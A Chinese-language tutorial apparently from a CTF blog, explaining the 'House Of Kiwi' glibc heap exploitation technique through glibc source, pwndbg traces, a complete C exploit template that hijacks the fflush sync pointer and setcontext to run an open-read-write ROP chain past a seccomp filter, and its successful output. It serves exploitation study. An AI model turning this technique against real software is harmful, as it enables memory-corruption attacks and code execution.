0%

House Of Kiwi-原理

House Of Kiwi

House Of Kiwi 使用了一条新的调用链,适用于高版本的 libc 版本

使用条件:

  • 能够触发 __malloc_assert(通常是堆溢出导致)
  • 能够任意写 WAA(修改 _IO_file_syncIO_helper_jumps + 0xA0 and 0xA8

House Of Kiwi 原理

House Of Kiwi 需要 __malloc_assert 进行触发,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
  • 函数 fflush(stderr) 会调用 _IO_file_jumps 中的 sync 指针
  • 注意这里是 stderr_IO_file_jumps(在 GDB 上看到的第一个 _IO_file_jumps),stdinstdout 也有 _IO_file_jumps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define _IO_file_jumps jumps

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync), /* target */
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)

libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
  • 我们可以提前修改 _IO_file_jumps->_IO_file_sync,进行后续利用

那么 __malloc_assert 怎么触发呢?

_int_malloc 中存在以下的 assert:

1
2
3
4
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
#define NON_MAIN_ARENA 0x4

assert (chunk_main_arena (bck->bk))
  • 判断 bck->bk 是不是在 main_arena 中(bck->bk 存储着相应 largebin 中最小的 chunk)
  • 破坏 chunk->A 就可以触发 __malloc_assert

sysmalloc 中存在以下的 assert:

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
  • 会进行以下判断:
    • old_size >= 0x20
    • old_top.prev_inuse = 0
    • old_top 页对齐

我们故意破坏 chunk 结构,然后进行调试:(sysmalloc 处的 assert)

1
2
3
4
5
0x7ffff7e8c4ba <sysmalloc+1850>    call   __malloc_assert                <__malloc_assert>
rdi: 0x7ffff7f912b8 ◂— '(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)'
rsi: 0x7ffff7f8cca5 ◂— 'malloc.c'
rdx: 0x95a
rcx: 0x7ffff7f91b40 (__PRETTY_FUNCTION__.13329) ◂— 'sysmalloc'
  • 继续跟进 __malloc_assert
1
2
0x7ffff7e89cb0 <__malloc_assert+80>    call   fflush                <fflush>
stream: 0x7ffff7fc35e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
  • 进行跟进 fflush
1
2
3
4
5
0x7ffff7e78523 <fflush+131>    call   qword ptr [rbp + 0x60]        <setcontext+61>
rdi: 0x7ffff7fc35e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
rsi: 0xc00
rdx: 0x7ffff7fc38c0 (_IO_helper_jumps) ◂— 0x0
rcx: 0x7ffff7ef2417 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
  • 发现其 rdx 是个定值,而 setcontext+61 就是根据 rdx 进行操作:
1
2
3
4
5
pwndbg> telescope setcontext+61
00:00000x7ffff7e5051d (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
01:00080x7ffff7e50525 (setcontext+69) ◂— mov ebx, dword ptr [rdx + 0x80]
02:00100x7ffff7e5052d (setcontext+77) ◂— push 0x78
03:00180x7ffff7e50535 (setcontext+85) ◂— push 0x50
  • 所以我们可以提前修改 IO_helper_jumps + 0xA0 and 0xA8 来配合 setcontext+61 进行操作

House Of Kiwi 利用姿势

利用模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x0000000000027b26
#define pop_rdx_r12 libc_base + 0x00000000000f83b1
#define pop_rsi_ret libc_base + 0x000000000003269a
#define pop_rax_ret libc_base + 0x000000000003fdc0
#define syscall_ret libc_base + 0x0000000000075f8a + 0x2
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x76b40;
printf("LIBC:\t%#lx\n",libc_base);

size_t magic_gadget = libc_base + 0x4c4e0 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1bf8c0; // _IO_helper_jumps;
size_t SYNC = libc_base + 0x1c0520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx(setcontext运行完后会首先调用的指令地址)
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址

size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写'0',当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}

结果:

1
2
3
4
5
6
7
8
9
10
11
➜  exp gcc test.c -o test -z noexecstack -fstack-protector-all -pie -z now -masm=intel -g
test.c: In function ‘main’:
test.c:72:36: warning: assignment to ‘size_t’ {aka ‘long unsigned int’} from ‘size_t *’ {aka ‘long unsigned int *’} makes integer from pointer without a cast [-Wint-conversion]
72 | *((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
| ^
➜ exp patchelf ./test --set-interpreter ./ld-2.32.so --replace-needed libc.so.6 ./libc-2.32.so --output test1
➜ exp ./test1
LIBC: 0x7f50a420d000
test1: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
flag{yhellow}
��<�P[1] 5018 segmentation fault ./test1

利用条件:

  • 三次 WAA,分别进行如下的修改:
    • _IO_file_sync -> setcontext + 61
    • IO_helper_jumps + 0xA0 -> ORW_ROP_addr
    • IO_helper_jumps + 0xA0 -> ret
  • 能够触发 __malloc_assert,有如下两种方式:
    • 修改相应 largebin 中最小 chunk 的 flag->A 为“1”
    • 使 top chunk 不足以申请从而调用 sysmalloc,将 flag->P 写 “0”

版本对 House Of Kiwi 的影响

libc-2.34

在 libc-2.34 的早期版本中(glibc-2.34-0ubuntu3_amd64 以及之前),vtable 可写,但在 glibc-2.34-0ubuntu3.2_amd64 中 vtable 不可写

所以在 glibc-2.34-0ubuntu3_amd64 以及之前,House Of Kiwi 都是可以正常使用的,再次之后就无法使用了